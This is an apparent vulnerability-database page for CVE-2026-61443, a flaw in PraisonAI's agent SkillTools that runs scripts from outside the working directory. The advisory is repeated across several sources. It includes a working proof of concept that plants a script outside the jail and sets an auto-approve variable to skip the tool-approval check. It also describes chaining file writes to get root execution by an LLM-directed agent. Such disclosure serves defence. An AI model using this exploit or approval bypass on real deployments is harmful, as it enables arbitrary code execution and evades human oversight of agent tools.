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CVE-2026-61443

PraisonAI before 1.6.78 Remote Code Execution via SkillTools

8.6 HighFix available

PraisonAI before 1.6.78 contains a remote code execution vulnerability in SkillTools.run_skill_script() that executes scripts without path containment validation. Attackers can supply absolute file paths to execute arbitrary scripts from any filesystem location, including those outside the intended working directory.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.64%Up 0.1 points since Jul 16, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.6

PraisonAI before 1.6.78 Remote Code Execution via SkillTools

PraisonAI before 1.6.78 contains a remote code execution vulnerability in SkillTools.run_skill_script() that executes scripts without path containment validation. Attackers can supply absolute file paths to execute arbitrary scripts from any filesystem location, including those outside the intended working directory.

Record
CVE-2026-61443
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-44645 8.6

PraisonAI before 1.6.78 contains a remote code execution vulnerability in SkillTools.run_skill_script() that executes scripts without path containment validation. Attackers can supply absolute file paths to execute arbitrary scripts from any filesystem location, including those outside the intended working directory.

Record
EUVD-2026-44645
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-c44f-37qr-gw3f 8.1

PraisonAI: SkillTools Executes Scripts Without Path Containment Validation

Summary

SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.

Details

src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):

def run_skill_script(self, script_path: str, ...):
    script_path = os.path.expanduser(script_path)
    if not os.path.isabs(script_path):
        script_path = os.path.join(self._working_directory, script_path)
    script_path = os.path.abspath(script_path)

    if not os.path.exists(script_path):
        return f"Error: Script not found at {script_path}"

    # No path traversal check, no containment validation
    # Directly executes whatever is at that path:
    result = subprocess.run(cmd, ...)

By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:

def _validate_path(self, filepath: str) -> str:
    # ...
    cwd = os.path.abspath(os.getcwd())
    if os.path.commonpath([absolute, cwd]) != cwd:
        raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

SkillTools has no equivalent check.

PoC

import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools

# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")

# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
    f.write("#!/bin/bash\n")
    f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
    f.write("echo \"USER: $(whoami)\"\n")
    f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)

# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

st = SkillTools()
st._working_directory = jail  # Pretend we're confined

# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
#   PROOF_OF_EXPLOIT: Script executed outside jail
#   USER: anushkavirgaonkar
#   HOSTNAME: Anushkas-MacBook-Pro-2.local

# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)

Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact

  • Arbitrary script execution: Run any script on the filesystem from any location
  • Chaining with file write: Write a malicious script via write_file (YAML-approvable as a high-risk tool), then execute it via run_skill_script
  • Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges
Record
GHSA-c44f-37qr-gw3f
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22, CWE-78
Updated
2026-11-02
GitHub AdvisoriesGHSA-f352-4x87-wmjh 8.6

Duplicate Advisory: PraisonAI: SkillTools Executes Scripts Without Path Containment Validation

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-c44f-37qr-gw3f. This link is maintained to preserve external references.

Original Description

PraisonAI before 1.6.78 contains a remote code execution vulnerability in SkillTools.run_skill_script() that executes scripts without path containment validation. Attackers can supply absolute file paths to execute arbitrary scripts from any filesystem location, including those outside the intended working directory.

Record
GHSA-f352-4x87-wmjh
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 8.6

PraisonAI before 1.6.78 contains a remote code execution vulnerability in SkillTools.run_skill_script() that executes scripts without path containment validation. Attackers can supply absolute file paths to execute arbitrary scripts from any filesystem location, including those outside the intended working directory.

Record
CVE-2026-61443
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-c44f-37qr-gw3f 8.1

PraisonAI: SkillTools Executes Scripts Without Path Containment Validation

Summary

SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.

Details

src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):

def run_skill_script(self, script_path: str, ...):
    script_path = os.path.expanduser(script_path)
    if not os.path.isabs(script_path):
        script_path = os.path.join(self._working_directory, script_path)
    script_path = os.path.abspath(script_path)

    if not os.path.exists(script_path):
        return f"Error: Script not found at {script_path}"

    # No path traversal check, no containment validation
    # Directly executes whatever is at that path:
    result = subprocess.run(cmd, ...)

By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:

def _validate_path(self, filepath: str) -> str:
    # ...
    cwd = os.path.abspath(os.getcwd())
    if os.path.commonpath([absolute, cwd]) != cwd:
        raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

SkillTools has no equivalent check.

PoC

import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools

# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")

# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
    f.write("#!/bin/bash\n")
    f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
    f.write("echo \"USER: $(whoami)\"\n")
    f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)

# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

st = SkillTools()
st._working_directory = jail  # Pretend we're confined

# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
#   PROOF_OF_EXPLOIT: Script executed outside jail
#   USER: anushkavirgaonkar
#   HOSTNAME: Anushkas-MacBook-Pro-2.local

# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)

Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact

  • Arbitrary script execution: Run any script on the filesystem from any location
  • Chaining with file write: Write a malicious script via write_file (YAML-approvable as a high-risk tool), then execute it via run_skill_script
  • Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges
Record
GHSA-c44f-37qr-gw3f
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22, CWE-78
Updated
2026-11-02
OSVGHSA-f352-4x87-wmjh 8.6

Duplicate Advisory: PraisonAI: SkillTools Executes Scripts Without Path Containment Validation

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-c44f-37qr-gw3f. This link is maintained to preserve external references.

Original Description

PraisonAI before 1.6.78 contains a remote code execution vulnerability in SkillTools.run_skill_script() that executes scripts without path containment validation. Attackers can supply absolute file paths to execute arbitrary scripts from any filesystem location, including those outside the intended working directory.

Record
GHSA-f352-4x87-wmjh
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVPYSEC-2026-4270 8.1

PraisonAI: SkillTools Executes Scripts Without Path Containment Validation

Summary

SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.

Details

src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):

def run_skill_script(self, script_path: str, ...):
    script_path = os.path.expanduser(script_path)
    if not os.path.isabs(script_path):
        script_path = os.path.join(self._working_directory, script_path)
    script_path = os.path.abspath(script_path)

    if not os.path.exists(script_path):
        return f"Error: Script not found at {script_path}"

    # No path traversal check, no containment validation
    # Directly executes whatever is at that path:
    result = subprocess.run(cmd, ...)

By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:

def _validate_path(self, filepath: str) -> str:
    # ...
    cwd = os.path.abspath(os.getcwd())
    if os.path.commonpath([absolute, cwd]) != cwd:
        raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

SkillTools has no equivalent check.

PoC

import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools

# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")

# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
    f.write("#!/bin/bash\n")
    f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
    f.write("echo \"USER: $(whoami)\"\n")
    f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)

# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

st = SkillTools()
st._working_directory = jail  # Pretend we're confined

# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
#   PROOF_OF_EXPLOIT: Script executed outside jail
#   USER: anushkavirgaonkar
#   HOSTNAME: Anushkas-MacBook-Pro-2.local

# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)

Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact

  • Arbitrary script execution: Run any script on the filesystem from any location
  • Chaining with file write: Write a malicious script via write_file (YAML-approvable as a high-risk tool), then execute it via run_skill_script
  • Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges
Record
PYSEC-2026-4270
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
praisonaiagents
PyPI
through 1.6.77
1.6.78
praisonaiagents
PyPI
before 1.6.78, plus listed versions
0.0.10.0.100.0.1000.0.1010.0.102
Show 45 moreShow less
0.0.1030.0.1040.0.1050.0.1060.0.1070.0.1080.0.1090.0.110.0.1100.0.1110.0.1120.0.1130.0.1140.0.1150.0.1160.0.1170.0.1180.0.1190.0.120.0.1200.0.1210.0.1220.0.1230.0.1240.0.1250.0.1260.0.1270.0.1280.0.1290.0.130.0.1300.0.1310.0.1320.0.1330.0.1340.0.1350.0.1360.0.1370.0.1380.0.1390.0.140.0.1400.0.1410.0.1420.0.143
1.6.78

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-61443 is a high vulnerability (CVSS 8.6) in Mervinpraison Praisonai, published July 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.64%, the 50th percentile. Fixed in praisonaiagents 1.6.78.

References

This page doesn't list everything

Left out here: 554 versions. The JSON record has them.

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